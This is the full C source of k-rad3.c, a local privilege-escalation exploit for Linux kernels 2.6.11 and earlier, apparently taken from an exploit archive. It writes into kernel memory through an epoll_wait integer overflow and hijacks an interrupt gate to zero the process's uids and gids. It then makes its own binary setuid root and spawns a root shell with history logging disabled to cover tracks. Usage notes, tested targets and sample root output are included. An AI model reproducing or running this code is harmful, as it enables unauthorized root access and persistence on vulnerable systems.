============================================================ Linux Kernel <= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c) ============================================================ /* * k-rad3.c - linux 2.6.11 and below CPL 0 kernel local exploit v3 * Discovered and original exploit coded Jan 2005 by sd <[email protected]> * ********************************************************************* * * Modified 2005/9 by alert7 <[email protected]> * XFOCUS Security Team http://www.xfocus.org * * gcc -o k-rad3 k-rad3.c -static -O2 * * tested succeed : * on default installed RHEL4(2.6.9-5.EL and 2.6.9-5.ELsmp) * 2.6.9-5.EL ./k-rad3 -p 2 * 2.6.9-5.ELsmp ./k-rad3 -a -p 7 * on default installed maglic linux 1.2 * MagicLinux 2.6.9 #1 ./k-rad3 -t 1 -p 2 * * thank watercloud tested maglic linux 1.2 * thank eist provide RHEL4 to test * thank sd <[email protected]> share his stuff. * thank xfocus & xfocus's firends * * * TODO: * CASE 1: use stack > 0xc0000000 * CASE 2: CONFIG_X86_PAE define ,but cpu flag no pse * *[[email protected] ~]$ ./k-rad3 -h *[ k-rad3 - <=linux 2.6.11 CPL 0 kernel exploit ] *[ Discovered Jan 2005 by sd ] *[ Modified 2005/9 by alert7 <[email protected]> ] * *Usage: ./k-rad3 * -s forced cpu flag pse * -a define CONFIG_X86_PAE,default none * -e have two kernel code,default 0 * -p alloc pages(4k) ,default 1. Increase from 1 to 7 * The higher number the more likely it will crash * -t default 0 * 0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192 * *[[email protected] ~]$ ./k-rad3 -t 1 -p 2 *[ k-rad3 - <=linux 2.6.11 CPL 0 kernel exploit ] *[ Discovered Jan 2005 by sd <[email protected]> ] *[ Modified 2005/9 by alert7 <[email protected]> ] *[+] try open /proc/cpuinfo .. ok!! *[+] find cpu flag pse in /proc/cpuinfo *[+] CONFIG_X86_PAE :none *[+] Cpu flag: pse ok *[+] Exploit Way : 0 *[+] Use 2 pages (one page is 4K ),rewrite 0xc0000000--(0xc0002000 + n) *[+] thread_size 1 (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192 *[+] idtr.base 0xc0461000 ,base 0xc0000000 *[+] kwrite base 0xc0000000, buf 0xbffed750,num 8196 *[+] idt[0x7f] addr 0xffc003f8 *[+] j00 1u(k7 k1d! *[[email protected] ~] #id *uid=0(root) gid=0(root) groups=500(alert7) * * * Linux Kernel <= 2.6.11 "sys_epoll_wait" Local integer overflow Exploit * * "it is possible to partially overwrite low kernel ( >= 2.6 <= 2.6.11) * memory due to integer overflow in sys_epoll_wait and misuse of * __put_user in ep_send_events" * Georgi Guninski: http://seclists.org/lists/fulldisclosure/2005/Mar/0293.html * ********************************************************************* * * * In memory of pwned.c (uselib) * * - Redistributions of source code is not permitted. * - Redistributions in the binary form is not permitted. * - Redistributions of the above copyright notice, this list of conditions, * and the following disclaimer is permitted. * - By proceeding to a Redistribution and under any form of the Program * the Distributor is granting ownership of his Resources without * limitations to the copyright holder(s). * * * Since we already owned everyone, theres no point keeping this private * anymore. * * http://seclists.org/lists/fulldisclosure/2005/Mar/0293.html * * Thanks to our internet hero georgi guninski for being such incredible * whitehat disclosing one of the most reliable kernel bugs. * You saved the world, man, we owe you one! * * This version is somewhat broken, but skilled reader will get an idea. * Well, at least let the scriptkids have fun for a while. * * Thanks to all who helped me developing/testing this, you know who you are, * and especially to my gf for guidance while coding this. * */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #ifndef __USE_GNU #define __USE_GNU #endif #include #include #include #include /** * Relationship Variables * * 1: CONFIG_X86_PAE * see /lib/modules/`uname -r`/build/.config * 1.1: pse * 2: THREAD_SIZE * see include/asm/thread_info.h THREAD_SIZE define */ #define MAP (0xfffff000 - (1023*4096)) #define MAP_PAE (0xfffff000 - (511*4096)) #define MKPTE(addr) ((addr & (~4095)) | 0x27) #define MKPMD(x) (0x1e3|0x004) //////////////////////////////////////////////// #define KRADPS1 "k-rad3" #define kB * 1024 #define MB * 1024 kB #define GB * 1024 MB #define KRS "\033[1;30m[ \033[1;37m" #define KRE "\033[1;30m ]\033[0m" #define KRAD "\033[1;30m[\033[1;37m*\033[1;30m]\033[0m " #define KRADP "\033[1;30m[\033[1;37m+\033[1;30m]\033[0m " #define KRADM "\033[1;30m[\033[1;37m-\033[1;30m]\033[0m " #define SET_IDT_GATE(idt,ring,s,addr) \ (idt).off1 = addr & 0xffff; \ (idt).off2 = addr >> 16; \ (idt).sel = s; \ (idt).none = 0; \ (idt).flags = 0x8E | (ring << 5); //config val static int havepse = 0; static int definePAE = 0; static int exploitway = 0; static int npages = 1; static int thread_size = 0; static uid_t uid = 0; static unsigned long long *clear1; static char * progargv0; struct idtr { unsigned short limit; unsigned int base; } __attribute__ ((packed)); struct idt { unsigned short off1; unsigned short sel; unsigned char none,flags; unsigned short off2; } __attribute__ ((packed)); #define __syscall_return(type, res) \ do { \ if ((unsigned long)(res) >= (unsigned long)(-125)) { \ errno = -(res); \ res = -1; \ } \ return (type) (res); \ } while (0) #define _capget_macro(type,name,type1,arg1,type2,arg2) \ type name(type1 arg1,type2 arg2) \ { \ long __res; \ __asm__ volatile ( "int $0x80" \ : "=a" (__res) \ : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \ __syscall_return(type,__res); \ } static inline _capget_macro(int,capget,void *,a,void *,b); static int THREAD_SIZE_MASK =(-4096); static void fatal(const char *message) { system("uname -a"); printf("[-] %s\n",message); exit(1); } void kernel(unsigned * task) { unsigned * addr = task; /* looking for uids */ *clear1 = 0; while (addr[0] != uid || addr[1] != uid || addr[2] != uid || addr[3] != uid ) addr++; addr[0] = addr[1] = addr[2] = addr[3] = 0; /* set uids */ addr[4] = addr[5] = addr[6] = addr[7] = 0; /* set gids */ } void kcode(void); void __kcode(void) { asm( "kcode: \n" "cld \n" " pusha \n" " pushl %es \n" " pushl %ds \n" " movl %ss,%edx \n" " movl %edx,%es \n" " movl %edx,%ds \n"); __asm__("movl %0 ,%%eax" ::"m"(THREAD_SIZE_MASK) ); asm( " andl %esp,%eax \n" " pushl (%eax) \n" " call kernel \n" " addl $4, %esp \n" " popl %ds \n" " popl %es \n" " popa \n" " cli \n" " iret \n" ); } void raise_cap(unsigned long *ts) { /* must be on lower addresses because of kernel arg check :) */ static struct __user_cap_header_struct head; static struct __user_cap_data_struct data; static struct __user_cap_data_struct n; int i; *clear1 = 0; head.version = 0x19980330; head.pid = 0; capget(&head, &data); /* scan the thread_struct */ for (i = 0; i < 512; i++, ts++) { /* is it capabilities block? */ if ( (ts[0] == data.effective) && (ts[1] == data.inheritable) && (ts[2] == data.permitted)) { /* set effective cap to some val */ ts[0] = 0x12341234; capget(&head, &n); /* and test if it has changed */ if (n.effective == ts[0]) { /* if so, we're in :) */ ts[0] = ts[1] = ts[2] = 0xffffffff; return; } /* otherwise fix back the stuff (if we've not crashed already :) */ ts[0] = data.effective; } } return; } void stub(void); void __stub(void) { asm ( "stub:;" " pusha;" ); __asm__("movl %0 ,%%eax" ::"m"(THREAD_SIZE_MASK) ); asm( " and %esp, %eax;" " pushl (%eax);" " call raise_cap;" " pop %eax;" " popa;" " iret;" ); } /* write to kernel from buf, num bytes */ static int kwrite(unsigned base, char *buf, int num) { #define DIV 256 #define RES 4 int efd, c, i, fd; int pi[2]; struct epoll_event ev; int *stab; unsigned long ptr; int count; unsigned magic = 0xffffffff / 12 + 1; printf("[+] kwrite base %p, buf %p,num %d\n", (void *)base,buf,num); /* initialize epoll */ efd = epoll_create(4096); if (efd < 0) return -1; ev.events = EPOLLIN|EPOLLOUT|EPOLLPRI|EPOLLERR|EPOLLHUP; /* 12 bytes per fd + one more to be safely in stack space */ count = (num+11)/12+RES; /* desc array */ stab = alloca((count+DIV-1)/DIV*sizeof(int)); for (i = 0; i < ((count+DIV-1)/DIV)+1; i++) { if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pi) < 0) return -1; send(pi[0], "a", 1, 0); stab[i] = pi[1]; } /* highest fd and first descriptor */ fd = pi[1]; /* we've to allocate this separately because we need to have it's fd preserved - using this we'll be writing actual bytes */ epoll_ctl(efd, EPOLL_CTL_ADD, fd, &ev); //printf("EPOLL_CTL_ADD count %u\n",count); for (i = 0, c = 0; i < (count-1); i++) { int n; n = dup2(stab[i/DIV], fd+2+(i % DIV)); if (n < 0) return -1; epoll_ctl(efd, EPOLL_CTL_ADD, n, &ev); close(n); } /* in 'n' we've the latest fd we're using to write data */ for (i = 0; i < ((num+7)/8); i++) { /* data being written from end */ memcpy(&ev.data, buf + num - 8 - i * 8, 8); epoll_ctl(efd, EPOLL_CTL_MOD, fd, &ev); /* the actual kernel magic */ ptr = (base + num - (i*8)) - (count * 12); struct epoll_event *events =(struct epoll_event *)ptr; //printf("epoll_wait verify_area(%p,%p) addr %p %p\n",ptr,magic* sizeof(struct epoll_event) ,&events[0].events,magic); int iret =epoll_wait(efd, (void *) ptr, magic, 31337); if (iret ==-1) { perror("epoll_wait"); fatal("This kernel not vulnerability!!!"); } /* don't ask why (rotten rb-trees) :) */ if (i) { //printf("epoll_wait verify_area(%p,%p) %p\n",ptr,magic* sizeof(struct epoll_event) ,magic); iret = epoll_wait(efd, (void *)ptr, magic, 31337); if (iret ==-1) { perror("epoll_wait"); fatal("This kernel not vulnerability!!!"); } } } close(efd); for (i = 3; i <= fd; i++) close(i); return 0; } /* real-mode interrupt table fixup - point all interrupts to iret. let's hope this will shut up apm */ static void fixint(char *buf) { unsigned *tab = (void *) buf; int i; for (i = 0; i < 256; i++) tab[i] = 0x0000400; /* 0000:0400h */ /* iret */ buf[0x400] =0xcf; } /* establish pte pointing to virtual addr 'addr' */ static int map_pte(unsigned base, int pagenr, unsigned addr) { unsigned *buf = alloca(pagenr * 4096 + 8); buf[(pagenr) * 1024] = MKPTE(addr); buf[(pagenr) * 1024+1] = 0; fixint((void *)buf); return kwrite(base, (void *)buf, pagenr * 4096 + 4); } /* make pme user can rw */ static int map_pme(unsigned base, int pagenr, unsigned addr) { unsigned *buf = alloca(pagenr * 4096 + 32); buf[(pagenr) * 1024] = MKPMD(addr); buf[(pagenr) * 1024+1] = 0; buf[(pagenr) * 1024+2] = MKPMD(addr)|0x00200000; buf[(pagenr) * 1024+3] = 0; fixint((void *)buf); return kwrite(base, (void *)buf, pagenr * 4096 + 4*3); } static void error(int d) { printf(KRADM "y3r 422 12 n07 3r337 3nuPh!\n" KRAD "Try increase nrpages?\n"); exit(1); } char *bashargv[] = { KRADPS1, NULL }; char *bashenvp[] = { "TERM=linux", "PS1=[\\[email protected]"KRADPS1" \\W]\\$ ", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null","HISTFILE=/dev/null", "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL }; static int exploit(unsigned kernelbase, int npages) { struct idt *idt; struct idtr idtr; signal(SIGSEGV, error); signal(SIGBUS, error); /* get idt descriptor addr */ asm ("sidt %0" : "=m" (idtr)); /* * if OS in vmware , idtr.base is not right,please fix it * [[email protected] ~]$ cat /boot/System.map|grep idt_table * c0461000 D idt_table * //idtr.base = 0xc0461000; */ printf("[+] idtr.base %p ,base %p\n",(void *)idtr.base , (void *)kernelbase); if ( !definePAE ) { map_pte(kernelbase, npages, idtr.base - kernelbase); // idt = pae?(void *)MAP_PAE:(void *)MAP; idt = (struct idt *)MAP; }else { /* TODO: pse disable case */ if ( !havepse) printf("[!Waring!] TODO:CONFIG_X86_PAE define ,but cpu flag no pse\n"); map_pme(kernelbase, npages, idtr.base - kernelbase); idt = (struct idt *) idtr.base; } #if 0 int * p = (int *) idt; int i; for (i=0;i<1024;i++,p++) printf( "* %p 0x%x\n",p,*p); fflush(stdout); #endif /** * cleanup the stuff to prevent others spotting the gate * - must be done from ring 0 */ clear1 = (void *) &idt[0x7f]; printf("[+] idt[0x7f] addr %p\n",clear1); if ( exploitway == 0) { SET_IDT_GATE(idt[0x7f], 3, idt[0x80].sel, ((unsigned long) &kcode)); } else { SET_IDT_GATE(idt[0x7f], 3, idt[0x80].sel, ((unsigned long) &stub)); } //[2] SET_IDT_GATE(idt[0x7f], 3, idt[0x80].sel, ((unsigned long) &stub)); /** * also can use [2] stub function,but it may cause this message * * Sep 11 13:11:59 AD4 kernel: Debug: sleeping function called from invalid context at include/asm/uaccess.h:531 * Sep 11 13:11:59 AD4 kernel: in_atomic():0[expected: 0], irqs_disabled():1 * Sep 11 13:11:59 AD4 kernel: [] __might_sleep+0x7d/0x89 * Sep 11 13:11:59 AD4 kernel: [] sys_capget+0x1d5/0x216 * Sep 11 13:11:59 AD4 kernel: [] syscall_call+0x7/0xb * Sep 11 13:11:59 AD4 kernel: [] pipe_writev+0x24/0x320 * Sep 11 13:11:59 AD4 kernel: [] filp_close+0x59/0x5f * */ /* call raise_cap or kernel */ asm ("int $0x7f"); printf(KRADP "j00 1u(k7 k1d!\n"); setresuid(0, 0, 0); setresgid(0, 0, 0); char cmdbuf[1024]; snprintf(cmdbuf,1024,"chown root %s;chmod +s %s",progargv0,progargv0); system(cmdbuf); execve("/bin/sh", bashargv, bashenvp); exit(0); } static void usage(char *n) { printf("\nUsage: %s\n",n); printf("\t-s forced cpu flag pse \n"); printf("\t-a define CONFIG_X86_PAE,default none\n"); printf("\t-e have two kernel code,default 0\n"); printf("\t-p alloc pages(4k) ,default 1. Increase from 1 to 7\n" "\t\tThe higher number the more likely it will crash\n"); printf("\t-t default 0 \n" "\t\t0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192\n"); printf("\n"); _exit(1); } /*read /proc/cpuinfo to set havepse*/ static void read_proc(void) { FILE * fp; char * line = NULL; size_t len = 0; ssize_t read; printf("[+] try open /proc/cpuinfo .."); fp = fopen("/proc/cpuinfo", "r"); if (fp == NULL) { printf(" failed!!\n"); return; } printf(" ok!!\n"); int cpus = 0; int pse = 0; while ((read = getline(&line, &len, fp)) != -1) { if (strstr(line,"flags")) { if(strstr(line ,"pse ")) { pse ++; } } } fclose(fp); if (line) free(line); if ( pse ) { printf("[+] find cpu flag pse in /proc/cpuinfo\n"); havepse = 1; } return ; } static void get_config(int ac, char **av) { uid = getuid(); progargv0 = av[0]; int r; while(ac) { r = getopt(ac, av, "e:p:t:ash"); if(r<0) break; switch(r) { case 's' : //pse havepse = 1; break; case 'a' : //define CONFIG_X86_PAE definePAE = 1; break; case 'e' : exploitway = atoi(optarg); if(exploitway<0) fatal("bad exploitway value"); break; case 'p' : npages = atoi(optarg); break; case 't' : thread_size = atoi(optarg); break; case 'h' : default: usage(av[0]); break; } } THREAD_SIZE_MASK = (thread_size==0)?(-4096):(-8192); read_proc(); } static void print_config(unsigned long kernebase) { printf("[+] CONFIG_X86_PAE :%s\n", definePAE ?"ok":"none"); printf("[+] Cpu flag: pse %s\n", havepse ?"ok":"none"); printf("[+] Exploit Way : %d\n", exploitway); printf("[+] Use %d pages (one page is 4K ),rewrite 0x%lx--(0x%lx + n)\n", npages,kernebase,kernebase+npages*4 kB); printf("[+] thread_size %d (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192 \n",thread_size); fflush(stdout); } void prepare(void) { if (geteuid() == 0) { setresuid(0, 0, 0); setresgid(0, 0, 0); execve("/bin/sh", bashargv, bashenvp); fatal("[-] Unable to spawn shell"); } } int main(int argc, char **argv) { char eater[65536]; unsigned long kernelbase; /* unlink(argv[0]); */ // sync(); printf(KRS " "KRADPS1" - <=linux 2.6.11 CPL 0 kernel exploit " KRE "\n" KRS "Discovered Jan 2005 by sd <[email protected]>" KRE "\n" KRS "Modified 2005/9 by alert7 <[email protected]>" KRE "\n"); if ( (unsigned long)eater > 0xc0000000) { printf("[!Waring!] TODO:use stack > 0xc0000000 \n"); return 0; } prepare(); get_config(argc,argv); kernelbase =(unsigned long)eater ; kernelbase +=0x0fffffff; kernelbase &=0xf0000000; print_config(kernelbase); exploit(kernelbase, npages<0?-npages:npages); return 0; } # 0day.today [2018-04-13] #

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